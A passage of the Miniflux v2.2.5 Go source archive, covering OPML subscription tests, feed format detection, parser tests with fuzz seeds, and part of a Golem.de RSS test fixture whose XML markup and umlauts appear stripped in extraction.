subscriptions = append(subscriptions, &Subcription{Title: "Feed 3", FeedURL: "http://example.org/feed/3", SiteURL: "http://example.org/3", CategoryName: "Category 2"})
output := Serialize(subscriptions)
feeds, err := Parse(bytes.NewBufferString(output))
if err != nil {
t.Error(err)
}
if len(feeds) != 3 {
t.Errorf("Wrong number of subscriptions: %d instead of %d", len(feeds), 3)
}
found := false
for _, feed := range feeds {
if feed.Title == "Feed 1" && feed.CategoryName == "Category 1" &&
feed.FeedURL == "http://example.org/feed/1" && feed.SiteURL == "http://example.org/1" {
found = true
break
}
}
if !found {
t.Error("Serialized feed is incorrect")
}
}
func TestNormalizedCategoriesOrder(t *testing.T) {
var orderTests = []struct {
naturalOrderName string
correctOrderName string
}{
{"Category 2", "Category 1"},
{"Category 3", "Category 2"},
{"Category 1", "Category 3"},
}
var subscriptions SubcriptionList
subscriptions = append(subscriptions, &Subcription{Title: "Feed 1", FeedURL: "http://example.org/feed/1", SiteURL: "http://example.org/1", CategoryName: orderTests[0].naturalOrderName})
subscriptions = append(subscriptions, &Subcription{Title: "Feed 2", FeedURL: "http://example.org/feed/2", SiteURL: "http://example.org/2", CategoryName: orderTests[1].naturalOrderName})
subscriptions = append(subscriptions, &Subcription{Title: "Feed 3", FeedURL: "http://example.org/feed/3", SiteURL: "http://example.org/3", CategoryName: orderTests[2].naturalOrderName})
feeds := convertSubscriptionsToOPML(subscriptions)
for i, o := range orderTests {
if feeds.Outlines[i].Text != o.correctOrderName {
t.Fatalf("need %v, got %v", o.correctOrderName, feeds.Outlines[i].Text)
}
}
}
v2-2.2.5/internal/reader/opml/subscription.go 0000664 0000000 0000000 00000001412 14743520056 0021153 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package opml // import "miniflux.app/v2/internal/reader/opml"
// Subcription represents a feed that will be imported or exported.
type Subcription struct {
Title string
SiteURL string
FeedURL string
CategoryName string
Description string
}
// Equals compare two subscriptions.
func (s Subcription) Equals(subscription *Subcription) bool {
return s.Title == subscription.Title && s.SiteURL == subscription.SiteURL &&
s.FeedURL == subscription.FeedURL && s.CategoryName == subscription.CategoryName &&
s.Description == subscription.Description
}
// SubcriptionList is a list of subscriptions.
type SubcriptionList []*Subcription
v2-2.2.5/internal/reader/parser/ 0000775 0000000 0000000 00000000000 14743520056 0016427 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/parser/format.go 0000664 0000000 0000000 00000002273 14743520056 0020252 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package parser // import "miniflux.app/v2/internal/reader/parser"
import (
"bytes"
"encoding/xml"
"io"
rxml "miniflux.app/v2/internal/reader/xml"
)
// List of feed formats.
const (
FormatRDF = "rdf"
FormatRSS = "rss"
FormatAtom = "atom"
FormatJSON = "json"
FormatUnknown = "unknown"
)
// DetectFeedFormat tries to guess the feed format from input data.
func DetectFeedFormat(r io.ReadSeeker) (string, string) {
data := make([]byte, 512)
r.Read(data)
if bytes.HasPrefix(bytes.TrimSpace(data), []byte("{")) {
return FormatJSON, ""
}
r.Seek(0, io.SeekStart)
decoder := rxml.NewXMLDecoder(r)
for {
token, _ := decoder.Token()
if token == nil {
break
}
if element, ok := token.(xml.StartElement); ok {
switch element.Name.Local {
case "rss":
return FormatRSS, ""
case "feed":
for _, attr := range element.Attr {
if attr.Name.Local == "version" && attr.Value == "0.3" {
return FormatAtom, "0.3"
}
}
return FormatAtom, "1.0"
case "RDF":
return FormatRDF, ""
}
}
}
return FormatUnknown, ""
}
v2-2.2.5/internal/reader/parser/format_test.go 0000664 0000000 0000000 00000004515 14743520056 0021312 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package parser // import "miniflux.app/v2/internal/reader/parser"
import (
"strings"
"testing"
)
func TestDetectRDF(t *testing.T) {
data := ``
format, _ := DetectFeedFormat(strings.NewReader(data))
if format != FormatRDF {
t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatRDF)
}
}
func TestDetectRSS(t *testing.T) {
data := ``
format, _ := DetectFeedFormat(strings.NewReader(data))
if format != FormatRSS {
t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatRSS)
}
}
func TestDetectAtom10(t *testing.T) {
data := ``
format, _ := DetectFeedFormat(strings.NewReader(data))
if format != FormatAtom {
t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatAtom)
}
}
func TestDetectAtom03(t *testing.T) {
data := ``
format, _ := DetectFeedFormat(strings.NewReader(data))
if format != FormatAtom {
t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatAtom)
}
}
func TestDetectAtomWithISOCharset(t *testing.T) {
data := ``
format, _ := DetectFeedFormat(strings.NewReader(data))
if format != FormatAtom {
t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatAtom)
}
}
func TestDetectJSON(t *testing.T) {
data := `
{
"version" : "https://jsonfeed.org/version/1",
"title" : "Example"
}
`
format, _ := DetectFeedFormat(strings.NewReader(data))
if format != FormatJSON {
t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatJSON)
}
}
func TestDetectUnknown(t *testing.T) {
data := `
`
format, _ := DetectFeedFormat(strings.NewReader(data))
if format != FormatUnknown {
t.Errorf(`Wrong format detected: %q instead of %q`, format, FormatUnknown)
}
}
v2-2.2.5/internal/reader/parser/parser.go 0000664 0000000 0000000 00000002072 14743520056 0020253 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package parser // import "miniflux.app/v2/internal/reader/parser"
import (
"errors"
"io"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/reader/atom"
"miniflux.app/v2/internal/reader/json"
"miniflux.app/v2/internal/reader/rdf"
"miniflux.app/v2/internal/reader/rss"
)
var ErrFeedFormatNotDetected = errors.New("parser: unable to detect feed format")
// ParseFeed analyzes the input data and returns a normalized feed object.
func ParseFeed(baseURL string, r io.ReadSeeker) (*model.Feed, error) {
r.Seek(0, io.SeekStart)
format, version := DetectFeedFormat(r)
switch format {
case FormatAtom:
r.Seek(0, io.SeekStart)
return atom.Parse(baseURL, r, version)
case FormatRSS:
r.Seek(0, io.SeekStart)
return rss.Parse(baseURL, r)
case FormatJSON:
r.Seek(0, io.SeekStart)
return json.Parse(baseURL, r)
case FormatRDF:
r.Seek(0, io.SeekStart)
return rdf.Parse(baseURL, r)
default:
return nil, ErrFeedFormatNotDetected
}
}
v2-2.2.5/internal/reader/parser/parser_test.go 0000664 0000000 0000000 00000025021 14743520056 0021311 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package parser // import "miniflux.app/v2/internal/reader/parser"
import (
"os"
"strings"
"testing"
)
func BenchmarkParse(b *testing.B) {
var testCases = map[string][]string{
"large_atom.xml": {"https://dustri.org/b", ""},
"large_rss.xml": {"https://dustri.org/b", ""},
"small_atom.xml": {"https://github.com/miniflux/v2/commits/main", ""},
}
for filename := range testCases {
data, err := os.ReadFile("./testdata/" + filename)
if err != nil {
b.Fatalf(`Unable to read file %q: %v`, filename, err)
}
testCases[filename][1] = string(data)
}
for range b.N {
for _, v := range testCases {
ParseFeed(v[0], strings.NewReader(v[1]))
}
}
}
func FuzzParse(f *testing.F) {
f.Add("https://z.org", `
Example Feed2003-12-13T18:30:02ZJohn Doeurn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6aurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02Zc`)
f.Add("https://z.org", `
a
http://z.org
a
http://z.org
dTue, 03 Jun 2003 09:39:21 GMTl`)
f.Add("https://z.org", `
a
http://z.org/
a
/
c`)
f.Add("http://z.org", `{
"version": "http://jsonfeed.org/version/1",
"title": "a",
"home_page_url": "http://z.org/",
"feed_url": "http://z.org/a.json",
"items": [
{"id": "2","content_text": "a","url": "https://z.org/2"},
{"id": "1","content_html": "dive into mark2003-12-13T18:30:02ZMark PilgrimAtom 0.3 snapshottag:diveintomark.org,2003:3.23972003-12-13T08:29:29-04:002003-12-13T18:30:02ZIt's a testHTML content]]>`
feed, err := ParseFeed("https://example.org/", strings.NewReader(data))
if err != nil {
t.Error(err)
}
if feed.Title != "dive into mark" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
}
func TestParseAtom10Feed(t *testing.T) {
data := `
Example Feed2003-12-13T18:30:02ZJohn Doeurn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6Atom-Powered Robots Run Amokurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := ParseFeed("https://example.org/", strings.NewReader(data))
if err != nil {
t.Error(err)
}
if feed.Title != "Example Feed" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
}
func TestParseAtomFeedWithRelativeURL(t *testing.T) {
data := `
Example FeedTest/blog/article.html2003-12-13T18:30:02ZSome text.`
feed, err := ParseFeed("https://example.org/blog/atom.xml", strings.NewReader(data))
if err != nil {
t.Fatal(err)
}
if feed.FeedURL != "https://example.org/blog/atom.xml" {
t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL)
}
if feed.SiteURL != "https://example.org/blog" {
t.Errorf("Incorrect site URL, got: %s", feed.SiteURL)
}
if feed.Entries[0].URL != "https://example.org/blog/article.html" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
}
func TestParseRSS(t *testing.T) {
data := `
Liftoff News
http://liftoff.msfc.nasa.gov/
Star City
http://liftoff.msfc.nasa.gov/news/2003/news-starcity.asp
How do Americans get ready to work with Russians aboard the International Space Station? They take a crash course in culture, language and protocol at Russia's <a href="http://howe.iki.rssi.ru/GCTC/gctc_e.htm">Star City</a>.Tue, 03 Jun 2003 09:39:21 GMThttp://liftoff.msfc.nasa.gov/2003/06/03.html#item573`
feed, err := ParseFeed("http://liftoff.msfc.nasa.gov/", strings.NewReader(data))
if err != nil {
t.Error(err)
}
if feed.Title != "Liftoff News" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
}
func TestParseRSSFeedWithRelativeURL(t *testing.T) {
data := `
Example Feed
/blog
Example Entry
/blog/article.html
SomethingTue, 03 Jun 2003 09:39:21 GMT1234`
feed, err := ParseFeed("http://example.org/rss.xml", strings.NewReader(data))
if err != nil {
t.Error(err)
}
if feed.Title != "Example Feed" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
if feed.FeedURL != "http://example.org/rss.xml" {
t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL)
}
if feed.SiteURL != "http://example.org/blog" {
t.Errorf("Incorrect site URL, got: %s", feed.SiteURL)
}
if feed.Entries[0].URL != "http://example.org/blog/article.html" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
}
func TestParseRDF(t *testing.T) {
data := `
RDF Example
http://example.org/
Title
http://example.org/item
Test`
feed, err := ParseFeed("http://example.org/", strings.NewReader(data))
if err != nil {
t.Error(err)
}
if feed.Title != "RDF Example" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
}
func TestParseRDFWithRelativeURL(t *testing.T) {
data := `
RDF Example
/blog
Title
/blog/article.html
Test`
feed, err := ParseFeed("http://example.org/rdf.xml", strings.NewReader(data))
if err != nil {
t.Error(err)
}
if feed.FeedURL != "http://example.org/rdf.xml" {
t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL)
}
if feed.SiteURL != "http://example.org/blog" {
t.Errorf("Incorrect site URL, got: %s", feed.SiteURL)
}
if feed.Entries[0].URL != "http://example.org/blog/article.html" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
}
func TestParseJson(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "https://example.org/",
"feed_url": "https://example.org/feed.json",
"items": [
{
"id": "2",
"content_text": "This is a second item.",
"url": "https://example.org/second-item"
},
{
"id": "1",
"content_html": "
Hello, world!
",
"url": "https://example.org/initial-post"
}
]
}`
feed, err := ParseFeed("https://example.org/feed.json", strings.NewReader(data))
if err != nil {
t.Error(err)
}
if feed.Title != "My Example Feed" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
}
func TestParseJsonFeedWithRelativeURL(t *testing.T) {
data := `{
"version": "https://jsonfeed.org/version/1",
"title": "My Example Feed",
"home_page_url": "/blog",
"feed_url": "/blog/feed.json",
"items": [
{
"id": "2",
"content_text": "This is a second item.",
"url": "/blog/article.html"
}
]
}`
feed, err := ParseFeed("https://example.org/blog/feed.json", strings.NewReader(data))
if err != nil {
t.Error(err)
}
if feed.Title != "My Example Feed" {
t.Errorf("Incorrect title, got: %s", feed.Title)
}
if feed.FeedURL != "https://example.org/blog/feed.json" {
t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL)
}
if feed.SiteURL != "https://example.org/blog" {
t.Errorf("Incorrect site URL, got: %s", feed.SiteURL)
}
if feed.Entries[0].URL != "https://example.org/blog/article.html" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
}
func TestParseUnknownFeed(t *testing.T) {
data := `
Title of document
some content
`
_, err := ParseFeed("https://example.org/", strings.NewReader(data))
if err == nil {
t.Error("ParseFeed must returns an error")
}
}
func TestParseEmptyFeed(t *testing.T) {
_, err := ParseFeed("", strings.NewReader(""))
if err == nil {
t.Error("ParseFeed must returns an error")
}
}
v2-2.2.5/internal/reader/parser/testdata/ 0000775 0000000 0000000 00000000000 14743520056 0020240 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/parser/testdata/encoding_ISO-8859-1.xml 0000664 0000000 0000000 00000225577 14743520056 0024055 0 ustar 00root root 0000000 0000000
Golem.deIT-News fuer Profis
https://www.golem.de/
Sun, 28 Oct 2018 13:49:01 +0100FeedCreator 1.6https://www.golem.de/staticrl/images/golem-rss.pngGolem.de
https://www.golem.de/
Golem.de News FeeddeRed Dead Redemption 2: Hinweise auf PC-Umsetzung in App von Rockstar Games
https://www.golem.de/news/red-dead-redemption-2-hinweise-auf-pc-umsetzung-in-app-von-rockstar-games-1810-137358-rss.html
Viele Spieler wnschen sich eine PC-Version von Red Dead Redemption 2, aber Entwickler Rockstar Games schweigt zu dem Thema. Anders die offizielle Companion App: In einigen ihrer Daten gibt es Hinweise auf die Umsetzung. (<a href="https://www.golem.de/specials/red-dead-redemption-2/">Red Dead Redemption 2</a>, <a href="https://www.golem.de/specials/red-dead-redemption/">Red Dead Redemption</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137358&page=1&ts=1540730880" alt="" width="1" height="1" />Sun, 28 Oct 2018 13:48:00 +0100https://www.golem.de/1810/137358-rss.htmlViele Spieler wnschen sich eine PC-Version von Red Dead Redemption 2, aber Entwickler Rockstar Games schweigt zu dem Thema. Anders die offizielle Companion App: In einigen ihrer Daten gibt es Hinweise auf die Umsetzung. (Red Dead Redemption 2, Red Dead Redemption) ]]>Let's Play: Twitch will Streamer zusammen spielen und singen lassen
https://www.golem.de/news/let-s-play-twitch-will-streamer-zusammen-spielen-und-singen-lassen-1810-137357-rss.html
Der Streamingdienst Twitch hat auf seiner Hausmesse neue Funktionen fr Kanalbetreiber und Zuschauer vorgestellt. Unter anderem soll es knftig bertragungen mit bis zu vier Spielern geben - und Singwettbewerbe. (<a href="https://www.golem.de/specials/twitch/">Twitch</a>, <a href="https://www.golem.de/specials/amazon/">Amazon</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137357&page=1&ts=1540728000" alt="" width="1" height="1" />https://forum.golem.de/kommentare/games/let-s-play-twitch-will-streamer-zusammen-spielen-und-singen-lassen/121579,list.htmlSun, 28 Oct 2018 13:00:00 +0100https://www.golem.de/1810/137357-rss.htmlDer Streamingdienst Twitch hat auf seiner Hausmesse neue Funktionen fr Kanalbetreiber und Zuschauer vorgestellt. Unter anderem soll es knftig bertragungen mit bis zu vier Spielern geben - und Singwettbewerbe. (Twitch, Amazon) ]]>Zhuque-1: Erste private chinesische Satellitenmission fehlgeschlagen
https://www.golem.de/news/zhuque-1-erste-private-chinesische-satellitenmission-fehlgeschlagen-1810-137356-rss.html
Die Zhuque-1 hat es nicht in den Orbit geschafft: Beim Znden der dritten Raketenstufe kam es zu Problemen. Bei einem Erfolg wre der Hersteller Landspace das erste von rund 60 kommerziellen chinesischen Unternehmen gewesen, das einen Satelliten ins All gebracht htte. (<a href="https://www.golem.de/specials/raumfahrt/">Raumfahrt</a>, <a href="https://www.golem.de/specials/internet/">Internet</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137356&page=1&ts=1540722420" alt="" width="1" height="1" />https://forum.golem.de/kommentare/internet/zhuque-1-erste-private-chinesische-satellitenmission-fehlgeschlagen/121578,list.htmlSun, 28 Oct 2018 11:27:00 +0100https://www.golem.de/1810/137356-rss.htmlDie Zhuque-1 hat es nicht in den Orbit geschafft: Beim Znden der dritten Raketenstufe kam es zu Problemen. Bei einem Erfolg wre der Hersteller Landspace das erste von rund 60 kommerziellen chinesischen Unternehmen gewesen, das einen Satelliten ins All gebracht htte. (Raumfahrt, Internet) ]]>1City Transformer: Startup entwickelt faltbares Elektroauto gegen Parkplatznot
https://www.golem.de/news/city-transformer-startup-entwickelt-faltbares-elektroauto-gegen-parkplatznot-1810-137355-rss.html
Es passt fast in jede Parklcke: Ein Faltauto des Startups City Transformer soll Stdtern knftig das Leben erleichtern. Das innovative Fahrzeug wird zusammen mit Yamaha entwickelt. Vorbestellungen sollen voraussichtlich ab 2020 mglich sein, mehrere Versionen sind geplant. (<a href="https://www.golem.de/specials/elektromobilitaet/">Elektromobilitt</a>, <a href="https://www.golem.de/specials/elektroauto/">Elektroauto</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137355&page=1&ts=1540721400" alt="" width="1" height="1" />https://forum.golem.de/kommentare/automobil/city-transformer-startup-entwickelt-faltbares-elektroauto-gegen-parkplatznot/121577,list.htmlSun, 28 Oct 2018 11:10:00 +0100https://www.golem.de/1810/137355-rss.htmlEs passt fast in jede Parklcke: Ein Faltauto des Startups City Transformer soll Stdtern knftig das Leben erleichtern. Das innovative Fahrzeug wird zusammen mit Yamaha entwickelt. Vorbestellungen sollen voraussichtlich ab 2020 mglich sein, mehrere Versionen sind geplant. (Elektromobilitt, Elektroauto) ]]>37Machine Learning: Von KI erstelltes Portrt fr 432.500 US.Dollar versteigert
https://www.golem.de/news/machine-learning-von-ki-erstelltes-portraet-fuer-432-500-us-dollar-versteigert-1810-137353-rss.html
Kann Software Kunst erstellen? Eine erfolgreiche Auktion beweist, dass es zumindest Abnehmer dafr gibt. Allerdings hat sich das Entwicklerteam Obvious wohl stark bei anderen KI-Systemen bedient. (<a href="https://www.golem.de/specials/neuronalesnetzwerk/">Neuronales Netzwerk</a>, <a href="https://www.golem.de/specials/ki/">KI</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137353&page=1&ts=1540643580" alt="" width="1" height="1" />https://forum.golem.de/kommentare/applikationen/machine-learning-von-ki-erstelltes-portraet-fuer-432.500-us.dollar-versteigert/121575,list.htmlSat, 27 Oct 2018 13:33:00 +0100https://www.golem.de/1810/137353-rss.htmlKann Software Kunst erstellen? Eine erfolgreiche Auktion beweist, dass es zumindest Abnehmer dafr gibt. Allerdings hat sich das Entwicklerteam Obvious wohl stark bei anderen KI-Systemen bedient. (Neuronales Netzwerk, KI) ]]>31Projekt Jedi: Microsoft will weiter mit US-Militr zusammenarbeiten
https://www.golem.de/news/project-jedi-microsoft-will-weiter-mit-us-militaer-zusammenarbeiten-1810-137352-rss.html
In einem Blogbeitrag hat sich Microsoft-Prsident Brad Smith zur Zusammenarbeit mit dem US-Verteidigungsministerium bekannt. Mitarbeiter, die nicht an derartigen Projekten arbeiten wollen, sollen in andere Bereiche des Unternehmens wechseln knnen. (<a href="https://www.golem.de/specials/microsoft/">Microsoft</a>, <a href="https://www.golem.de/specials/google/">Google</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137352&page=1&ts=1540641780" alt="" width="1" height="1" />https://forum.golem.de/kommentare/internet/projekt-jedi-microsoft-will-weiter-mit-us-militaer-zusammenarbeiten/121574,list.htmlSat, 27 Oct 2018 13:03:00 +0100https://www.golem.de/1810/137352-rss.htmlIn einem Blogbeitrag hat sich Microsoft-Prsident Brad Smith zur Zusammenarbeit mit dem US-Verteidigungsministerium bekannt. Mitarbeiter, die nicht an derartigen Projekten arbeiten wollen, sollen in andere Bereiche des Unternehmens wechseln knnen. (Microsoft, Google) ]]>21Star Wars: Boba-Fett-Film ist "zu 100 Prozent tot"
https://www.golem.de/news/star-wars-boba-fett-film-ist-zu-100-prozent-tot-1810-137351-rss.html
Es wird wohl doch keinen dritten Star-Wars-Ableger geben, der sich um den kultigen Kopfgeldjger Boba Fett dreht. Das wird laut einem Medienbericht teils auf den geringen Erfolg des Han-Solo-Films zurckgefhrt. Stattdessen soll ein bisher unbekannter Charakter in einer Serie die mandalorianische Rstung anziehen. (<a href="https://www.golem.de/specials/star-wars/">Star Wars</a>, <a href="https://www.golem.de/specials/film/">Film</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137351&page=1&ts=1540639620" alt="" width="1" height="1" />https://forum.golem.de/kommentare/audio-video/star-wars-boba-fett-film-ist-zu-100-prozent-tot/121573,list.htmlSat, 27 Oct 2018 12:27:00 +0100https://www.golem.de/1810/137351-rss.htmlEs wird wohl doch keinen dritten Star-Wars-Ableger geben, der sich um den kultigen Kopfgeldjger Boba Fett dreht. Das wird laut einem Medienbericht teils auf den geringen Erfolg des Han-Solo-Films zurckgefhrt. Stattdessen soll ein bisher unbekannter Charakter in einer Serie die mandalorianische Rstung anziehen. (Star Wars, Film) ]]>148Lenovo: Fehlerhafte Bios-Einstellung macht Thinkpads unbrauchbar
https://www.golem.de/news/lenovo-fehlerhafte-bios-einstellung-macht-thinkpads-unbrauchbar-1810-137350-rss.html
Die Bios-Untersttzung fr Thunderbolt bei Thinkpads zu aktivieren, ist derzeit keine gute Idee: Mehrere Nutzer berichten von nicht mehr startenden Notebooks, nachdem sie diese Funktion aktiviert haben. Das konnte auf diversen Linux-Distributionen, aber auch mit Windows 10 repliziert werden. (<a href="https://www.golem.de/specials/lenovo/">Lenovo</a>, <a href="https://www.golem.de/specials/business-notebooks/">Business-Notebooks</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137350&page=1&ts=1540633200" alt="" width="1" height="1" />https://forum.golem.de/kommentare/applikationen/lenovo-fehlerhafte-bios-einstellung-macht-thinkpads-unbrauchbar/121572,list.htmlSat, 27 Oct 2018 10:40:00 +0100https://www.golem.de/1810/137350-rss.htmlDie Bios-Untersttzung fr Thunderbolt bei Thinkpads zu aktivieren, ist derzeit keine gute Idee: Mehrere Nutzer berichten von nicht mehr startenden Notebooks, nachdem sie diese Funktion aktiviert haben. Das konnte auf diversen Linux-Distributionen, aber auch mit Windows 10 repliziert werden. (Lenovo, Business-Notebooks) ]]>16Wochenrckblick: Wilder Westen, buntes Handy, nutzloses Siegel
https://www.golem.de/news/wochenrueckblick-wilder-westen-buntes-handy-nutzloses-siegel-1810-137318-rss.html
Wir testen das iPhone Xr, sind ein Revolverheld und entdecken wieder Sicherheitslcken. Sieben Tage und viele Meldungen im berblick. (<a href="https://www.golem.de/specials/golemwochenrueckblick/">Golem-Wochenrckblick</a>, <a href="https://www.golem.de/specials/business-notebooks/">Business-Notebooks</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137318&page=1&ts=1540623720" alt="" width="1" height="1" />https://forum.golem.de/kommentare/politik-recht/wochenrueckblick-wilder-westen-buntes-handy-nutzloses-siegel/121571,list.htmlSat, 27 Oct 2018 08:02:00 +0100https://www.golem.de/1810/137318-rss.html Wir testen das iPhone Xr, sind ein Revolverheld und entdecken wieder Sicherheitslcken. Sieben Tage und viele Meldungen im berblick. (Golem-Wochenrckblick, Business-Notebooks) ]]>Fernsehen: 5G-Netz wird so wichtig wie Strom und Wasser
https://www.golem.de/news/fernsehen-5g-netz-wird-so-wichtig-wie-strom-und-wasser-1810-137349-rss.html
Ein 5G-FeMBMS-Sendernetz fr die Fernsehverbreitung sorgt fr Aufsehen, noch bevor man wei, ob es funktioniert. Wie Rundfunkbertragung und Mobilfunk zusammenkommen knnen, wurde auf den Medientagen Mnchen besprochen. (<a href="https://www.golem.de/specials/fernsehen/">Fernsehen</a>, <a href="https://www.golem.de/specials/technologie/">Technologie</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137349&page=1&ts=1540572960" alt="" width="1" height="1" />https://forum.golem.de/kommentare/handy/fernsehen-5g-netz-wird-so-wichtig-wie-strom-und-wasser/121570,list.htmlFri, 26 Oct 2018 17:56:00 +0100https://www.golem.de/1810/137349-rss.htmlEin 5G-FeMBMS-Sendernetz fr die Fernsehverbreitung sorgt fr Aufsehen, noch bevor man wei, ob es funktioniert. Wie Rundfunkbertragung und Mobilfunk zusammenkommen knnen, wurde auf den Medientagen Mnchen besprochen. (Fernsehen, Technologie) ]]>25Linux und BSD: Sicherheitslcke in X.org ermglicht Root-Rechte
https://www.golem.de/news/linux-und-bsd-sicherheitsluecke-in-x-org-ermoeglicht-root-rechte-1810-137347-rss.html
Eine Sicherheitslcke im Displayserver X.org erlaubt unter bestimmten Umstnden das berschreiben von Dateien und das Ausweiten der Benutzerrechte. Der passende Exploit passt in einen Tweet. (<a href="https://www.golem.de/specials/sicherheitsluecke/">Sicherheitslcke</a>, <a href="https://www.golem.de/specials/openbsd/">OpenBSD</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137347&page=1&ts=1540564620" alt="" width="1" height="1" />https://forum.golem.de/kommentare/security/linux-und-bsd-sicherheitsluecke-in-x.org-ermoeglicht-root-rechte/121569,list.htmlFri, 26 Oct 2018 15:37:00 +0100https://www.golem.de/1810/137347-rss.htmlEine Sicherheitslcke im Displayserver X.org erlaubt unter bestimmten Umstnden das berschreiben von Dateien und das Ausweiten der Benutzerrechte. Der passende Exploit passt in einen Tweet. (Sicherheitslcke, OpenBSD) ]]>47Augsburg: Fujitsu Deutschland macht alles dicht
https://www.golem.de/news/augsburg-fujitsu-deutschland-macht-alles-dicht-1810-137348-rss.html
Fujitsu will seine gesamte Fertigung auerhalb Japans schlieen. In Deutschland ist der Standort in Augsburg komplett betroffen. (<a href="https://www.golem.de/specials/fujitsu/">Fujitsu</a>, <a href="https://www.golem.de/specials/sap/">SAP</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137348&page=1&ts=1540562340" alt="" width="1" height="1" />https://forum.golem.de/kommentare/wirtschaft/augsburg-fujitsu-deutschland-macht-alles-dicht/121568,list.htmlFri, 26 Oct 2018 14:59:00 +0100https://www.golem.de/1810/137348-rss.htmlFujitsu will seine gesamte Fertigung auerhalb Japans schlieen. In Deutschland ist der Standort in Augsburg komplett betroffen. (Fujitsu, SAP) ]]>56Bundesnetzagentur: Seehofer fordert Verschiebung von 5G-Auktion
https://www.golem.de/news/bundesnetzagentur-seehofer-fordert-verschiebung-von-5g-auktion-1810-137346-rss.html
Bundesinnenminister Horst Seehofer will die 5G-Auktion verschieben, bis die lndlichen Regionen besser bercksichtigt werden. Er wird von einer Gruppe um den CDU-Abgeordneten Stefan Rouenhoff untersttzt. (<a href="https://www.golem.de/specials/5g/">5G</a>, <a href="https://www.golem.de/specials/bundesnetzagentur/">Bundesnetzagentur</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137346&page=1&ts=1540557900" alt="" width="1" height="1" />https://forum.golem.de/kommentare/handy/bundesnetzagentur-seehofer-fordert-verschiebung-von-5g-auktion/121567,list.htmlFri, 26 Oct 2018 13:45:00 +0100https://www.golem.de/1810/137346-rss.htmlBundesinnenminister Horst Seehofer will die 5G-Auktion verschieben, bis die lndlichen Regionen besser bercksichtigt werden. Er wird von einer Gruppe um den CDU-Abgeordneten Stefan Rouenhoff untersttzt. (5G, Bundesnetzagentur) ]]>14Linux und Patente: Open Source bei Microsoft ist "Kultur statt Strategie"
https://www.golem.de/news/linux-und-patente-open-source-bei-microsoft-ist-kultur-statt-strategie-1810-137345-rss.html
Der Microsoft-Angestellte Stephen Walli beschreibt den Wandel bei Microsoft hin zu Open Source Software und Linux als kulturell getrieben. Mit Blick auf den Beitritt zu dem Patentpool des Open Invention Network zeigt sich jedoch auch, dass das Unternehmen noch sehr viel Arbeit vor sich hat. Ein Bericht von Sebastian Grner (<a href="https://www.golem.de/specials/microsoft/">Microsoft</a>, <a href="https://www.golem.de/specials/softwarepatente/">Softwarepatent</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137345&page=1&ts=1540556820" alt="" width="1" height="1" />https://forum.golem.de/kommentare/politik-recht/linux-und-patente-open-source-bei-microsoft-ist-kultur-statt-strategie/121566,list.htmlFri, 26 Oct 2018 13:27:00 +0100https://www.golem.de/1810/137345-rss.htmlDer Microsoft-Angestellte Stephen Walli beschreibt den Wandel bei Microsoft hin zu Open Source Software und Linux als kulturell getrieben. Mit Blick auf den Beitritt zu dem Patentpool des Open Invention Network zeigt sich jedoch auch, dass das Unternehmen noch sehr viel Arbeit vor sich hat. Ein Bericht von Sebastian Grner (Microsoft, Softwarepatent) ]]>20Sicherheitslcke: Daten von 185.000 weiteren British-Airways-Kunden betroffen
https://www.golem.de/news/sicherheitsluecke-daten-von-185-000-weiteren-british-airways-kunden-betroffen-1810-137344-rss.html
